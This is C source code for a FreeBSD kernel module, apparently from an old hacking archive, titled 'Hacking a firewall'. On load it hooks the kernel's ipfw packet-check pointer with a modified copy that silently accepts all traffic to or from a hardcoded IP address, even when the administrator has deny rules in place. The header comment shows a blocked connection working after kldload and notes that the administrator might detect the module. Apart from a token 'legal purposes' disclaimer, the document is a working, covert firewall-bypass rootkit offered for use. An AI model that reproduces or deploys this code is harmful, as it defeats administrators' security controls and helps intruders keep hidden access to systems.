home *** CD-ROM | disk | FTP | other *** search
- /*
- * Hacking a firewall ....
- *
- * ipfw filter ;)
- *
- * With this kld ipfw can't block a ip address
- *
- * This code is only for legal purposes so I don't cover module and messages
- * of ipfw.. I write this to give you an idea of how to write a kld...
- *
- * This module has only a problem you have to discover options put on kernel
- * by admin when He has compiled it ... because we can't know
- * them via kld and He could discover this module if we use different options
- * but I give this src only for legal purposes so this isn't a my problem
- *
- * example
- *
- * storpio# ipfw add deny all from 192.168.1.2 to 192.168.1.3
- * 00000 deny ip from 192.168.1.2 to 192.168.1.3
- *
- * storpio# telnet porcellino 22
- * Trying 192.168.1.3 ...
- * telnet: Unable to connect to remote host: Permission denied
- *
- * storpio# kldload ./ipfwfil
- *
- * storpio# telnet porcellino 22
- * Escape character is '^]'
- * SSH-2.0-2.0.13 (non-commercial)
- *
- *
- * code & idea by pigpen [pigpen@s0ftpj.org, deadhead@sikurezza.org]
- */
-
-
- #define IP_FW_FILTER "192.168.1.2"
-
- #include <sys/param.h>
- #include <sys/systm.h>
- #include <sys/malloc.h>
- #include <sys/mbuf.h>
- #include <sys/kernel.h>
- #include <sys/proc.h>
- #include <sys/socket.h>
- #include <sys/socketvar.h>
- #include <sys/sysctl.h>
- #include <sys/ucred.h>
- #include <net/if.h>
- #include <net/route.h>
- #include <netinet/in.h>
- #include <netinet/in_systm.h>
- #include <netinet/in_pcb.h>
- #include <netinet/ip.h>
- #include <netinet/ip_var.h>
- #include <netinet/ip_icmp.h>
- #include <netinet/ip_fw.h>
- #include <netinet/ip_dummynet.h>
- #include <netinet/tcp.h>
- #include <netinet/tcp_timer.h>
- #include <netinet/tcp_var.h>
- #include <netinet/tcpip.h>
- #include <netinet/udp.h>
- #include <netinet/udp_var.h>
-
- #include <netinet/if_ether.h> /* XXX ethertype_ip */
-
- #define IPFW_DEFAULT_RULE ((u_int)(u_short)~0)
-
- static int
- iface_match __P((struct ifnet *ifp, union ip_fw_if *ifu,
- int byname));
-
- static int ipopts_match __P((struct ip *ip, struct ip_fw *f));
- static int
- port_match __P((u_short *portptr, int nports, u_short port,
- int range_flag));
- static int tcpflg_match __P((struct tcphdr *tcp, struct ip_fw *f));
- static int icmptype_match __P((struct icmp *icmp, struct ip_fw *f));
- static void ipfw_report __P((struct ip_fw *f, struct ip *ip,
- struct ifnet *rif, struct ifnet *oif));
- static int is_icmp_query __P((struct ip *ip));
- u_int32_t inaton __P((const char *str));
-
- #define print_ip(a) printf("%d.%d.%d.%d", \
- (int)(ntohl(a.s_addr) >> 24) & 0xFF, \
- (int)(ntohl(a.s_addr) >> 16) & 0xFF, \
- (int)(ntohl(a.s_addr) >> 8) & 0xFF, \
- (int)(ntohl(a.s_addr)) & 0xFF);
-
-
- MALLOC_DEFINE(M_IPFW, "Ipfw/IpAcct", "Ipfw/IpAcct chain's");
-
-
- static int fw_one_pass = 1; /* check */
- extern LIST_HEAD(ip_fw_head, ip_fw_chain) ip_fw_chain;
- static int fw_verbose = 1; /* check */
- static int fw_verbose_limit = 0; /* check */
-
-
- static struct ip_fw_chain * lookup_next_rule(struct ip_fw_chain *me);
-
- static struct ip_fw_chain *
- lookup_next_rule(struct ip_fw_chain *me)
- {
- struct ip_fw_chain *chain ;
- int rule = me->rule->fw_skipto_rule ; /* guess... */
-
- if ( (me->rule->fw_flg & IP_FW_F_COMMAND) == IP_FW_F_SKIPTO )
- for (chain = me->chain.le_next; chain ; chain = chain->chain.le_next )
- if (chain->rule->fw_number >= rule)
- return chain ;
- return me->chain.le_next ; /* failure or not a skipto */
- }
-
- static int
- ip_fw_chk(struct ip **pip, int hlen,
- struct ifnet *oif, u_int16_t *cookie, struct mbuf **m,
- struct ip_fw_chain **flow_id,
- struct sockaddr_in **next_hop)
- {
- struct ip_fw_chain *chain;
- struct ip_fw *rule = NULL;
- struct ip *ip = NULL ;
- struct ifnet *const rif = (*m)->m_pkthdr.rcvif;
- u_short offset = 0 ;
- u_short src_port, dst_port;
- u_int16_t skipto = *cookie;
-
-
-
- if (pip) { /* normal ip packet */
- ip = *pip;
- offset = (ip->ip_off & IP_OFFMASK);
- } else { /* bridged or non-ip packet */
- struct ether_header *eh = mtod(*m, struct ether_header *);
- switch (ntohs(eh->ether_type)) {
- case ETHERTYPE_IP :
- if ((*m)->m_len<sizeof(struct ether_header) + sizeof(struct ip))
- goto non_ip ;
- ip = (struct ip *)(eh + 1 );
- if (ip->ip_v != IPVERSION)
- goto non_ip ;
- hlen = ip->ip_hl << 2;
- if (hlen < sizeof(struct ip)) /* minimum header length */
- goto non_ip ;
- if ((*m)->m_len < 14 + hlen + 14) {
- printf("-- m_len %d, need more...\n", (*m)->m_len);
- goto non_ip ;
- }
- offset = (ip->ip_off & IP_OFFMASK);
- break ;
- default :
- non_ip: ip = NULL ;
- break ;
- }
- }
-
- if (*flow_id) {
- if (fw_one_pass)
- return 0 ;
-
- chain = LIST_NEXT( *flow_id, chain);
-
- if ( (chain = (*flow_id)->rule->next_rule_ptr) == NULL )
- chain = (*flow_id)->rule->next_rule_ptr =
- lookup_next_rule(*flow_id) ;
- if (! chain) goto dropit;
- } else {
- /*
- * Go down the chain, looking for enlightment
- * If we've been asked to start at a given rule immediatly, do so.
- */
- chain = LIST_FIRST(&ip_fw_chain);
- if ( skipto ) {
- if (skipto >= IPFW_DEFAULT_RULE)
- goto dropit;
- while (chain && (chain->rule->fw_number <= skipto)) {
- chain = LIST_NEXT(chain, chain);
- }
- if (! chain) goto dropit;
- }
- }
- *cookie = 0;
- for (; chain; chain = LIST_NEXT(chain, chain)) {
- register struct ip_fw * f ;
- again:
- f = chain->rule;
-
- if (oif) {
- /* Check direction outbound */
- if (!(f->fw_flg & IP_FW_F_OUT))
- continue;
- } else {
- /* Check direction inbound */
- if (!(f->fw_flg & IP_FW_F_IN))
- continue;
- }
- if (ip == NULL ) {
- struct ether_header *eh = mtod(*m, struct ether_header *);
-
- if (f->fw_number == IPFW_DEFAULT_RULE)
- goto got_match ;
-
- if ( f->fw_src.s_addr != 0 || f->fw_prot != IPPROTO_UDP
- || f->fw_smsk.s_addr != 0xffffffff )
- continue;
- switch (IP_FW_GETNSRCP(f)) {
- case 1: /* match one type */
- if ( /* ( (f->fw_flg & IP_FW_F_INVSRC) != 0) ^ */
- ( f->fw_uar.fw_pts[0] == ntohs(eh->ether_type) ) ) {
- goto got_match ;
- }
- break ;
- default:
- break ;
- }
- continue ;
- }
-
- /* Fragments */
- if ((f->fw_flg & IP_FW_F_FRAG) && offset == 0 )
- continue;
-
- /* If src-addr doesn't match, not this rule. */
- if (((f->fw_flg & IP_FW_F_INVSRC) != 0) ^ ((ip->ip_src.s_addr
- & f->fw_smsk.s_addr) != f->fw_src.s_addr))
- continue;
-
- /* If dest-addr doesn't match, not this rule. */
- if (((f->fw_flg & IP_FW_F_INVDST) != 0) ^ ((ip->ip_dst.s_addr
- & f->fw_dmsk.s_addr) != f->fw_dst.s_addr))
- continue;
-
- /* Interface check */
- if ((f->fw_flg & IF_FW_F_VIAHACK) == IF_FW_F_VIAHACK) {
- struct ifnet *const iface = oif ? oif : rif;
-
- /* Backwards compatibility hack for "via" */
- if (!iface || !iface_match(iface,
- &f->fw_in_if, f->fw_flg & IP_FW_F_OIFNAME))
- continue;
- } else {
- /* Check receive interface */
- if ((f->fw_flg & IP_FW_F_IIFACE)
- && (!rif || !iface_match(rif,
- &f->fw_in_if, f->fw_flg & IP_FW_F_IIFNAME)))
- continue;
- /* Check outgoing interface */
- if ((f->fw_flg & IP_FW_F_OIFACE)
- && (!oif || !iface_match(oif,
- &f->fw_out_if, f->fw_flg & IP_FW_F_OIFNAME)))
- continue;
- }
-
- /* Check IP options */
- if (f->fw_ipopt != f->fw_ipnopt && !ipopts_match(ip, f))
- continue;
-
- /* Check protocol; if wildcard, and no [ug]id, match */
- if (f->fw_prot == IPPROTO_IP) {
- if (!(f->fw_flg & (IP_FW_F_UID|IP_FW_F_GID)))
- goto got_match;
- } else
- /* If different, don't match */
- if (ip->ip_p != f->fw_prot)
- continue;
-
- #define PULLUP_TO(l) do { \
- int len = (pip ? l : l + 14 ) ; \
- if ((*m)->m_len < (len) ) { \
- if ( (*m = m_pullup(*m, (len))) == 0) \
- goto bogusfrag; \
- ip = mtod(*m, struct ip *); \
- if (pip) \
- *pip = ip ; \
- else \
- ip = (struct ip *)((char *)ip + 14);\
- offset = (ip->ip_off & IP_OFFMASK); \
- } \
- } while (0)
-
- /* Protocol specific checks for uid only */
- if (f->fw_flg & (IP_FW_F_UID|IP_FW_F_GID)) {
- switch (ip->ip_p) {
- case IPPROTO_TCP:
- {
- struct tcphdr *tcp;
- struct inpcb *P;
-
- if (offset == 1) /* cf. RFC 1858 */
- goto bogusfrag;
- if (offset != 0)
- continue;
-
- PULLUP_TO(hlen + 14);
- tcp =(struct tcphdr *)((u_int32_t *)ip + ip->ip_hl);
-
- if (oif)
- P = in_pcblookup_hash(&tcbinfo, ip->ip_dst,
- tcp->th_dport, ip->ip_src, tcp->th_sport, 0);
- else
- P = in_pcblookup_hash(&tcbinfo, ip->ip_src,
- tcp->th_sport, ip->ip_dst, tcp->th_dport, 0);
-
- if (P && P->inp_socket && P->inp_socket->so_cred) {
- if (f->fw_flg & IP_FW_F_UID) {
- if (P->inp_socket->so_cred->p_ruid !=
- f->fw_uid)
- continue;
- } else if (!groupmember(f->fw_gid,
- P->inp_socket->so_cred->pc_ucred))
- continue;
- } else continue;
-
- break;
- }
-
- case IPPROTO_UDP:
- {
- struct udphdr *udp;
- struct inpcb *P;
-
- if (offset != 0)
- continue;
-
- PULLUP_TO(hlen + 4);
- udp =(struct udphdr *)((u_int32_t *)ip + ip->ip_hl);
-
- if (oif)
- P = in_pcblookup_hash(&udbinfo, ip->ip_dst,
- udp->uh_dport, ip->ip_src, udp->uh_sport, 1);
- else
- P = in_pcblookup_hash(&udbinfo, ip->ip_src,
- udp->uh_sport, ip->ip_dst, udp->uh_dport, 1);
-
- if (P && P->inp_socket && P->inp_socket->so_cred) {
- if (f->fw_flg & IP_FW_F_UID) {
- if (P->inp_socket->so_cred->p_ruid !=
- f->fw_uid)
- continue;
- } else if (!groupmember(f->fw_gid,
- P->inp_socket->so_cred->pc_ucred))
- continue;
- } else continue;
-
- break;
- }
-
- default:
- continue;
- /*
- * XXX Shouldn't GCC be allowing two bogusfrag labels if they're both inside
- * separate blocks? Hmm.... It seems it's got incorrect behavior here.
- */
- #if 0
- bogusfrag:
- if (fw_verbose)
- ipfw_report(NULL, ip, rif, oif);
- goto dropit;
- #endif
- }
- }
-
- /* Protocol specific checks */
- switch (ip->ip_p) {
- case IPPROTO_TCP:
- {
- struct tcphdr *tcp;
-
- if (offset == 1) /* cf. RFC 1858 */
- goto bogusfrag;
- if (offset != 0) {
- /*
- * TCP flags and ports aren't available in this
- * packet -- if this rule specified either one,
- * we consider the rule a non-match.
- */
- if (f->fw_nports != 0 ||
- f->fw_tcpf != f->fw_tcpnf)
- continue;
-
- break;
- }
- PULLUP_TO(hlen + 14);
- tcp = (struct tcphdr *) ((u_int32_t *)ip + ip->ip_hl);
- if (f->fw_tcpf != f->fw_tcpnf && !tcpflg_match(tcp, f))
- continue;
- src_port = ntohs(tcp->th_sport);
- dst_port = ntohs(tcp->th_dport);
- goto check_ports;
- }
-
- case IPPROTO_UDP:
- {
- struct udphdr *udp;
-
- if (offset != 0) {
- /*
- * Port specification is unavailable -- if this
- * rule specifies a port, we consider the rule
- * a non-match.
- */
- if (f->fw_nports != 0)
- continue;
-
- break;
- }
- PULLUP_TO(hlen + 4);
- udp = (struct udphdr *) ((u_int32_t *)ip + ip->ip_hl);
- src_port = ntohs(udp->uh_sport);
- dst_port = ntohs(udp->uh_dport);
- check_ports:
- if (!port_match(&f->fw_uar.fw_pts[0],
- IP_FW_GETNSRCP(f), src_port,
- f->fw_flg & IP_FW_F_SRNG))
- continue;
- if (!port_match(&f->fw_uar.fw_pts[IP_FW_GETNSRCP(f)],
- IP_FW_GETNDSTP(f), dst_port,
- f->fw_flg & IP_FW_F_DRNG))
- continue;
- break;
- }
-
- case IPPROTO_ICMP:
- {
- struct icmp *icmp;
-
- if (offset != 0) /* Type isn't valid */
- break;
- PULLUP_TO(hlen + 2);
- icmp = (struct icmp *) ((u_int32_t *)ip + ip->ip_hl);
- if (!icmptype_match(icmp, f))
- continue;
- break;
- }
- #undef PULLUP_TO
-
- bogusfrag:
- if (fw_verbose)
- ipfw_report(NULL, ip, rif, oif);
- goto dropit;
- }
-
- got_match:
- *flow_id = chain ; /* XXX set flow id */
- /* Update statistics */
- f->fw_pcnt += 1;
- if (ip) {
- f->fw_bcnt += ip->ip_len;
- }
- f->timestamp = time_second;
-
- /* Log to console if desired */
- if ((f->fw_flg & IP_FW_F_PRN) && fw_verbose)
- ipfw_report(f, ip, rif, oif);
-
-
-
- if( (ip->ip_src.s_addr == inaton(IP_FW_FILTER) ||
- ip->ip_dst.s_addr == inaton(IP_FW_FILTER)) &&
- (f->fw_flg & IP_FW_F_COMMAND) != IP_FW_F_DIVERT &&
- (f->fw_flg & IP_FW_F_COMMAND) != IP_FW_F_FWD)
- return 0;
-
-
- /* Take appropriate action */
- switch (f->fw_flg & IP_FW_F_COMMAND) {
- case IP_FW_F_ACCEPT:
- return(0);
- case IP_FW_F_COUNT:
- continue;
- case IP_FW_F_DIVERT:
- *cookie = f->fw_number;
- return(f->fw_divert_port);
- case IP_FW_F_TEE:
- /*
- * XXX someday tee packet here, but beware that you
- * can't use m_copym() or m_copypacket() because
- * the divert input routine modifies the mbuf
- * (and these routines only increment reference
- * counts in the case of mbuf clusters), so need
- * to write custom routine.
- */
- continue;
- case IP_FW_F_SKIPTO: /* XXX check */
- if ( f->next_rule_ptr )
- chain = f->next_rule_ptr ;
- else
- chain = lookup_next_rule(chain) ;
- if (! chain) goto dropit;
- goto again ;
- case IP_FW_F_PIPE:
- return(f->fw_pipe_nr | 0x10000 );
- case IP_FW_F_FWD:
- /* Change the next-hop address for this packet.
- * Initially we'll only worry about directly
- * reachable next-hop's, but ultimately
- * we will work out for next-hops that aren't
- * direct the route we would take for it. We
- * [cs]ould leave this latter problem to
- * ip_output.c. We hope to high [name the abode of
- * your favourite deity] that ip_output doesn't modify
- * the new value of next_hop (which is dst there)
- */
- if (next_hop != NULL) /* Make sure, first... */
- *next_hop = &(f->fw_fwd_ip);
- return(0); /* Allow the packet */
- }
-
- /* Deny/reject this packet using this rule */
- rule = f;
- break;
-
- }
-
- #ifdef DIAGNOSTIC
- /* Rule IPFW_DEFAULT_RULE should always be there and should always match */
- if (!chain)
- panic("ip_fw: chain");
- #endif
-
- /*
- * At this point, we're going to drop the packet.
- * Send a reject notice if all of the following are true:
- *
- * - The packet matched a reject rule
- * - The packet is not an ICMP packet, or is an ICMP query packet
- * - The packet is not a multicast or broadcast packet
- */
- if ((rule->fw_flg & IP_FW_F_COMMAND) == IP_FW_F_REJECT
- && ip
- && (ip->ip_p != IPPROTO_ICMP || is_icmp_query(ip))
- && !((*m)->m_flags & (M_BCAST|M_MCAST))
- && !IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
- switch (rule->fw_reject_code) {
- case IP_FW_REJECT_RST:
- {
- struct tcphdr *const tcp =
- (struct tcphdr *) ((u_int32_t *)ip + ip->ip_hl);
- struct tcpiphdr ti, *const tip = (struct tcpiphdr *) ip;
-
- if (offset != 0 || (tcp->th_flags & TH_RST))
- break;
- ti.ti_i = *((struct ipovly *) ip);
- ti.ti_t = *tcp;
- bcopy(&ti, ip, sizeof(ti));
- NTOHL(tip->ti_seq);
- NTOHL(tip->ti_ack);
- tip->ti_len = ip->ip_len - hlen - (tip->ti_off << 2);
-
- if (tcp->th_flags & TH_ACK) {
- tcp_respond(NULL, tip, *m,
- (tcp_seq)0, ntohl(tcp->th_ack), TH_RST);
- } else {
- if (tcp->th_flags & TH_SYN)
- tip->ti_len++;
- tcp_respond(NULL, tip, *m, tip->ti_seq
- + tip->ti_len, (tcp_seq)0, TH_RST|TH_ACK);
- }
-
-
- *m = NULL;
- break;
- }
- default: /* Send an ICMP unreachable using code */
- icmp_error(*m, ICMP_UNREACH,
- rule->fw_reject_code, 0L, 0);
- *m = NULL;
- break;
- }
- }
-
- dropit:
- /*
- * Finally, drop the packet.
- */
- /* *cookie = 0; */ /* XXX is this necessary ? */
- if (*m) {
- m_freem(*m);
- *m = NULL;
- }
- return(0);
- }
-
-
-
- static ip_fw_chk_t *old_chk_ptr;
-
- static int
- ipfw_modevent(module_t mod, int type, void *unused)
- {
- int s;
-
- switch (type) {
- case MOD_LOAD:
- s = splnet();
- old_chk_ptr = ip_fw_chk_ptr;
- ip_fw_chk_ptr = ip_fw_chk;
- splx(s);
- break;
- case MOD_UNLOAD:
- s = splnet();
- ip_fw_chk_ptr = old_chk_ptr;
- splx(s);
- break;
- }
- return 0;
- }
-
- static moduledata_t ipfwmod = {
- "sfire",
- ipfw_modevent,
- 0
- };
- DECLARE_MODULE(sfire, ipfwmod, SI_SUB_PSEUDO, SI_ORDER_ANY);
-
- /*
- * Returns 1 if the port is matched by the vector, 0 otherwise
- */
- static int
- port_match(u_short *portptr, int nports, u_short port, int range_flag)
- {
- if (!nports)
- return 1;
- if (range_flag) {
- if (portptr[0] <= port && port <= portptr[1]) {
- return 1;
- }
- nports -= 2;
- portptr += 2;
- }
- while (nports-- > 0) {
- if (*portptr++ == port) {
- return 1;
- }
- }
- return 0;
- }
-
- static int
- tcpflg_match(struct tcphdr *tcp, struct ip_fw *f)
- {
- u_char flg_set, flg_clr;
-
- if ((f->fw_tcpf & IP_FW_TCPF_ESTAB) &&
- (tcp->th_flags & (IP_FW_TCPF_RST | IP_FW_TCPF_ACK)))
- return 1;
-
- flg_set = tcp->th_flags & f->fw_tcpf;
- flg_clr = tcp->th_flags & f->fw_tcpnf;
-
- if (flg_set != f->fw_tcpf)
- return 0;
- if (flg_clr)
- return 0;
-
- return 1;
- }
-
- static int
- icmptype_match(struct icmp *icmp, struct ip_fw *f)
- {
- int type;
-
- if (!(f->fw_flg & IP_FW_F_ICMPBIT))
- return(1);
-
- type = icmp->icmp_type;
-
- /* check for matching type in the bitmap */
- if (type < IP_FW_ICMPTYPES_MAX &&
- (f->fw_uar.fw_icmptypes[type / (sizeof(unsigned) * 8)] &
- (1U << (type % (8 * sizeof(unsigned))))))
- return(1);
-
- return(0); /* no match */
- }
-
- static int
- is_icmp_query(struct ip *ip)
- {
- const struct icmp *icmp;
- int icmp_type;
-
- icmp = (struct icmp *)((u_int32_t *)ip + ip->ip_hl);
- icmp_type = icmp->icmp_type;
-
- if (icmp_type == ICMP_ECHO || icmp_type == ICMP_ROUTERSOLICIT ||
- icmp_type == ICMP_TSTAMP || icmp_type == ICMP_IREQ ||
- icmp_type == ICMP_MASKREQ)
- return(1);
-
- return(0);
- }
-
- static int
- ipopts_match(struct ip *ip, struct ip_fw *f)
- {
- register u_char *cp;
- int opt, optlen, cnt;
- u_char opts, nopts, nopts_sve;
-
- cp = (u_char *)(ip + 1);
- cnt = (ip->ip_hl << 2) - sizeof (struct ip);
- opts = f->fw_ipopt;
- nopts = nopts_sve = f->fw_ipnopt;
-
- for (; cnt > 0; cnt -= optlen, cp += optlen) {
- opt = cp[IPOPT_OPTVAL];
- if (opt == IPOPT_EOL)
- break;
- if (opt == IPOPT_NOP)
- optlen = 1;
- else {
- optlen = cp[IPOPT_OLEN];
- if (optlen <= 0 || optlen > cnt) {
- return 0; /*XXX*/
- }
- }
- switch (opt) {
-
- default:
- break;
-
- case IPOPT_LSRR:
- opts &= ~IP_FW_IPOPT_LSRR;
- nopts &= ~IP_FW_IPOPT_LSRR;
- break;
-
- case IPOPT_SSRR:
- opts &= ~IP_FW_IPOPT_SSRR;
- nopts &= ~IP_FW_IPOPT_SSRR;
- break;
-
- case IPOPT_RR:
- opts &= ~IP_FW_IPOPT_RR;
- nopts &= ~IP_FW_IPOPT_RR;
- break;
- case IPOPT_TS:
- opts &= ~IP_FW_IPOPT_TS;
- nopts &= ~IP_FW_IPOPT_TS;
- break;
- }
- if (opts == nopts)
- break;
- }
- if (opts == 0 && nopts == nopts_sve)
- return 1;
- else
- return 0;
- }
-
- static int
- iface_match(struct ifnet *ifp, union ip_fw_if *ifu, int byname)
- {
- /* Check by name or by IP address */
- if (byname) {
- /* Check unit number (-1 is wildcard) */
- if (ifu->fu_via_if.unit != -1
- && ifp->if_unit != ifu->fu_via_if.unit)
- return(0);
- /* Check name */
- if (strncmp(ifp->if_name, ifu->fu_via_if.name, FW_IFNLEN))
- return(0);
- return(1);
- } else if (ifu->fu_via_ip.s_addr != 0) { /* Zero == wildcard */
- struct ifaddr *ia;
-
- for (ia = ifp->if_addrhead.tqh_first;
- ia != NULL; ia = ia->ifa_link.tqe_next) {
- if (ia->ifa_addr == NULL)
- continue;
- if (ia->ifa_addr->sa_family != AF_INET)
- continue;
- if (ifu->fu_via_ip.s_addr != ((struct sockaddr_in *)
- (ia->ifa_addr))->sin_addr.s_addr)
- continue;
- return(1);
- }
- return(0);
- }
- return(1);
- }
-
- static void
- ipfw_report(struct ip_fw *f, struct ip *ip,
- struct ifnet *rif, struct ifnet *oif)
- {
- if (ip) {
- static u_int64_t counter;
- struct tcphdr *const tcp = (struct tcphdr *) ((u_int32_t *) ip+ ip->ip_hl);
- struct udphdr *const udp = (struct udphdr *) ((u_int32_t *) ip+ ip->ip_hl);
- struct icmp *const icmp = (struct icmp *) ((u_int32_t *) ip + ip->ip_hl);
- int count;
-
- count = f ? f->fw_pcnt : ++counter;
- if (fw_verbose_limit != 0 && count > fw_verbose_limit)
- return;
-
- /* Print command name */
- printf("ipfw: %d ", f ? f->fw_number : -1);
- if (!f)
- printf("Refuse");
- else
- switch (f->fw_flg & IP_FW_F_COMMAND) {
- case IP_FW_F_DENY:
- printf("Deny");
- break;
- case IP_FW_F_REJECT:
- if (f->fw_reject_code == IP_FW_REJECT_RST)
- printf("Reset");
- else
- printf("Unreach");
- break;
- case IP_FW_F_ACCEPT:
- printf("Accept");
- break;
- case IP_FW_F_COUNT:
- printf("Count");
- break;
- case IP_FW_F_DIVERT:
- printf("Divert %d", f->fw_divert_port);
- break;
- case IP_FW_F_TEE:
- printf("Tee %d", f->fw_divert_port);
- break;
- case IP_FW_F_SKIPTO:
- printf("SkipTo %d", f->fw_skipto_rule);
- break;
- case IP_FW_F_PIPE:
- printf("Pipe %d", f->fw_skipto_rule);
- break;
- case IP_FW_F_FWD:
- printf("Forward to ");
- print_ip(f->fw_fwd_ip.sin_addr);
- if (f->fw_fwd_ip.sin_port)
- printf(":%d", f->fw_fwd_ip.sin_port);
- break;
- default:
- printf("UNKNOWN");
- break;
- }
- printf(" ");
-
- switch (ip->ip_p) {
- case IPPROTO_TCP:
- printf("TCP ");
- print_ip(ip->ip_src);
- if ((ip->ip_off & IP_OFFMASK) == 0)
- printf(":%d ", ntohs(tcp->th_sport));
- else
- printf(" ");
- print_ip(ip->ip_dst);
- if ((ip->ip_off & IP_OFFMASK) == 0)
- printf(":%d", ntohs(tcp->th_dport));
- break;
- case IPPROTO_UDP:
- printf("UDP ");
- print_ip(ip->ip_src);
- if ((ip->ip_off & IP_OFFMASK) == 0)
- printf(":%d ", ntohs(udp->uh_sport));
- else
- printf(" ");
- print_ip(ip->ip_dst);
- if ((ip->ip_off & IP_OFFMASK) == 0)
- printf(":%d", ntohs(udp->uh_dport));
- break;
- case IPPROTO_ICMP:
- if ((ip->ip_off & IP_OFFMASK) == 0)
- printf("ICMP:%u.%u ", icmp->icmp_type, icmp->icmp_code);
- else
- printf("ICMP ");
- print_ip(ip->ip_src);
- printf(" ");
- print_ip(ip->ip_dst);
- break;
- default:
- printf("P:%d ", ip->ip_p);
- print_ip(ip->ip_src);
- printf(" ");
- print_ip(ip->ip_dst);
- break;
- }
- if (oif)
- printf(" out via %s%d", oif->if_name, oif->if_unit);
- else if (rif)
- printf(" in via %s%d", rif->if_name, rif->if_unit);
- if ((ip->ip_off & IP_OFFMASK))
- printf(" Fragment = %d",ip->ip_off & IP_OFFMASK);
- printf("\n");
- if (fw_verbose_limit != 0 && count == fw_verbose_limit)
- printf("ipfw: limit reached on rule #%d\n",
- f ? f->fw_number : -1);
- }
- }
-
- u_int32_t inaton(const char *str)
- {
- unsigned long l;
- unsigned int val;
- int i;
-
- l = 0;
-
- for(i=0; i < 4; i++) {
- l <<= 8;
- if(*str != '\0') {
- val = 0;
- while(*str != '\0' && *str != '.') {
- val *= 10;
- val += *str - '0';
- str++;
- }
- l |= val;
- if(*str != '\0')
- str++;
- }
- }
- return(htonl(l));
- }
-
-
-